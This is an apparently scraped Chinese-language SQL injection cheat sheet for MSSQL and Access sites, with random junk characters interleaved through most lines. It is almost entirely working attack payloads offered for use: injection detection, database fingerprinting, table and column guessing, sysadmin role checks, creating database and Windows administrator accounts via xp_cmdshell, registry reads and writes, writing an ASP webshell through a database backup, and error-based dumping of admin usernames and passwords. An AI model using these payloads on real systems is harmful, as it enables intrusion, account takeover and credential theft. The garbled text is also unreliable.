1.判断是否有注入
# C' q. `7 ]1 r;and 1=1
: @! z0 [4 u% I! c;and 1=2 - Z+ Z, Q+ I6 Z7 j) A
1 w% m, ~5 c* R# ~5 I
2.初步判断是否是mssql - r) a8 m; H4 C& o Z
;and user>0 , {4 ], V# ]# t! ~
6 S/ i- o. M( c& s) E, n, L
3.判断数据库系统
* C( V8 [+ F, f5 [$ H;and (select count(*) from sysobjects)>0 mssql
+ [1 K% W4 w8 v, O' B2 }" e4 S;and (select count(*) from msysobjects)>0 access
# l. v: K% U' V' \+ c* r6 I9 j8 x( \# X9 n2 p5 P3 t& ~( r
4.注入参数是字符
- a) h( N [% n2 }'and [查询条件] and ''='
d2 E9 P+ X0 z6 n$ q8 T
" D/ v& e2 V3 I- M( z5.搜索时没过滤参数的 3 r D; N" x8 Z" H
'and [查询条件] and '%25'=' % v! T0 @3 e4 b- h. s+ w6 \
6 K$ }" l! u2 _. W- T
6.猜数表名
6 p1 K' W) l3 p* {) f" R8 X;and (select Count(*) from [表名])>0
9 q$ I, W# P8 C/ A/ D+ T' \" a: H1 L9 t) g9 M& n
7.猜字段 & A1 V8 o. h" r: t( c4 c
;and (select Count(字段名) from 表名)>0 3 Z, n9 h5 J" C
$ v7 ?+ H& W6 P Z7 X3 {" B% e) Q& ?
8.猜字段中记录长度
! q4 R ?" a) y, p% W/ M;and (select top 1 len(字段名) from 表名)>0
2 Y# t6 ~! u; f) ? `+ {8 ^+ u5 Z4 S4 x. \
9.(1)猜字段的ascii值(access)
* L& ]" Q2 t+ {8 V9 S4 e;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 % C" T4 c$ F6 g1 I) h& _0 q
3 w1 ?$ f& Q8 ^1 ^5 O4 \) u
(2)猜字段的ascii值(mssql)
1 S$ _1 \2 C, l- c# {;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
% x# }( D- D6 R) c& G' F: Y4 v
/ i J- |& l* V2 C1 {10.测试权限结构(mssql) 8 _& X: ~3 ~' E+ ]4 \6 d3 L7 p
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
% I' R/ c- ]* J* m0 ^, Q8 _;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
0 a7 }4 A, J, d;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- % G' n e# B- K4 s8 ]: j6 X
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- u/ z( o; F& E4 {
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
q& G" f# B! ?+ D% f;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- A. t5 T2 q& K# O8 q; @
;and 1=(select IS_MEMBER('db_owner'));-- , f3 A2 ]; X- N0 o1 f
- O& e1 c9 g3 A( B
11.添加mssql和系统的帐户 ) y. U* C2 k6 x+ [
;exec master.dbo.sp_addlogin username;-- 1 X) h H$ d4 p- |+ s) o
;exec master.dbo.sp_password null,username,password;-- / T1 p3 J; {/ @% |5 o' t# q
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
3 }' K" @! m: { z: H( q3 g/ |5 l;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 7 }8 _/ r3 N; T6 Y: F
;exec master.dbo.xp_cmdshell 'net user username password /add';-- , p- S2 B4 k/ E {1 a0 W# w. B
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
! ~8 j* s5 u! c7 P, b4 `
' u' J& h5 z; N2 H$ s12.(1)遍历目录
5 S7 j& T$ B2 o. T* B/ o;create table dirs(paths varchar(100), id int)
, r: `; G- k$ o; |6 I;insert dirs exec master.dbo.xp_dirtree 'c:\'
/ Z# q; _ R3 m2 w. Q. a;and (select top 1 paths from dirs)>0 0 | v) \( ^* N% n/ T
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
( m8 D1 Z! S. o1 {; S {, k) B/ m: F! k2 K! ]. ~
(2)遍历目录 ) t0 s6 h9 c, k7 o" |' F
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ) p5 L' ^ G7 m, Y- _
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 / H) K% D- f5 j: p/ R, u* G6 i# E
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
0 R: a5 `+ X5 f+ }' P1 t;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
) o6 ~8 J( J* F+ O;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
) o9 H5 r9 c- q3 ^# S( K8 G- J" a& \& y8 V4 x% R! Q
13.mssql中的存储过程 & v" ]1 q7 I# e: Y/ _ f% o1 k
xp_regenumvalues 注册表根键, 子键 9 \+ E' F8 g' b6 W: {/ X" M: D
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2 K6 ^! Q, E I4 y5 r. s( t% A
xp_regread 根键,子键,键值名
( e& q% N- Q! W6 I" r% w9 x;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
! {1 ^+ B% d3 @% H+ i2 L- Exp_regwrite 根键,子键, 值名, 值类型, 值 ) z; V( d* Y: }
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 % {$ G% A+ P6 S# c
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
% p/ x) Q. ]9 x3 E) b* sxp_regdeletevalue 根键,子键,值名
5 J! h" m+ V- W$ j6 U( M- Texec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 1 X0 c ?5 @+ e3 t+ E
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5 Z0 F2 x. c) k
4 ~. b" v% E) h" c6 T14.mssql的backup创建webshell
( j" m. e% ^: {) f( Guse model
3 u2 P* s0 T/ Qcreate table cmd(str image);
! g) F, l% z5 W& R g; J Yinsert into cmd(str) values ('<% Dim oScript %>');
( N) A' Q2 _" [' Abackup database model to disk='c:\l.asp'; { Q N( u/ v4 C8 q1 v
5 {) f. C1 m9 @+ }- B7 e, F15.mssql内置函数 2 s* ~$ x; |$ [7 u+ r! H
;and (select @@version)>0 获得Windows的版本号 2 {/ w, D: m& \( d& p z4 Q4 {
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
8 n( G0 y; _" A. o; z# t% i4 Z;and (select user_name())>0 爆当前系统的连接用户
! B' l! ~: u3 d: K' j;and (select db_name())>0 得到当前连接的数据库 ' c0 Q! j; y% Z, c$ I: { R
\0 F: |9 u, J- G2 E4 y# l" \* k+ D) \- M3 N3 s$ U
: P6 U. E0 I0 a) D$ ?7 o- g% Z& EMSSQL手注暴库
4 H& o& D% b1 } s; [9 S6 W- D, E2 V4 M, j9 y
1.暴出当前表名和列名& y6 D3 F6 p* i% J7 M" g( [; E
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
' s- u0 A6 h' A0 e1 n
3 t" a/ c; n, R5 D, [第一.爆出所有数据库名9 A1 ] k$ t4 _5 `5 \
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
8 T* u: d% I4 Z2 C$ I. M: m第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。8 h5 O8 l3 [" ~2 y3 b- W
0 n2 L1 q1 K4 ~; U) O: z/ n2 O& B
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
) T( [; Y# E+ i5 g% Y+ n+ e1 X
$ F N* G" e [3 v2 B
1 m* @. Q& @8 V% f第二.爆出指定库中的所有表名
{9 N0 g/ t# h得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
; v2 ^9 b }6 Z再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
' { x7 C8 w& M1 \6 Z+ [
7 l" n# ] ^, g J6 ^8 `and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
3 b3 Z' Q+ s" m, g9 B2 p- gand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--6 s2 e9 F9 X& @
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
7 M( K0 C8 _7 C$ a, g# u( [0 |2 T' F6 N4 S6 s3 W2 g0 A
4.爆出指定表中的所有列名2 B. m! M# l0 T& w
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
6 J/ l/ q7 X1 }; C+ s1 p" Z- z( U//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'* L: Z1 q9 e. K4 q7 }* d/ |
# y5 D1 _# _% q& P
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名" L: c0 Z% X5 }2 G
; ?' W# A5 M2 C8 l* a& V再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
) w& {: \* U7 |8 c; C) {3 f- d& d依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。. \5 P, [/ Z; g+ A- f' K
* [ x* |- \; i, A, H
% o6 T! O& A0 y; qand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
7 S3 S8 `' E; ^( m% _! h6 g4 U% j7 L) \* p4 }/ x! \
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名, I# F( b9 o" `
$ p6 H% ^/ h3 p+ rand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
6 j- U$ L0 [) @9 m2 h( g) Y% k3 j7 j
2 h9 q* ]" x/ s( F, s$ g5 o" g
1 C( A4 P1 M5 r9 i5.读取指定表中的数据
3 C) a. ]2 R' L5 a- v4 ]4 v* j0 E4 i3 U6 t# \
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 $ g/ M7 [, W |2 j# f
: e7 b O! r) c& E( R0 m1 l
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--& V1 U8 @2 D4 X$ Z2 q; p- W& H
4 d8 j1 B+ ?; r% l, \, xand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码& u, M7 N5 t7 }2 I' c
2 K! ^! u! \3 o! x! O- t% Y1 Z. P
1 H }* S5 T# g, {* w7 Wand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)7 B( z$ q9 a: V* d2 F% J6 S
4 n* I& s0 E' n- S2 d$ i
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)3 s! I1 Z; R- E* m0 ^" V
2 Q. H$ `4 n. D& l& land 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--+ ]1 y/ P+ z4 B( s2 h4 T5 l
6 c+ F R7 d5 R/ y& H知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。5 r5 e2 H0 c& J6 U1 x3 w3 n6 b$ _
|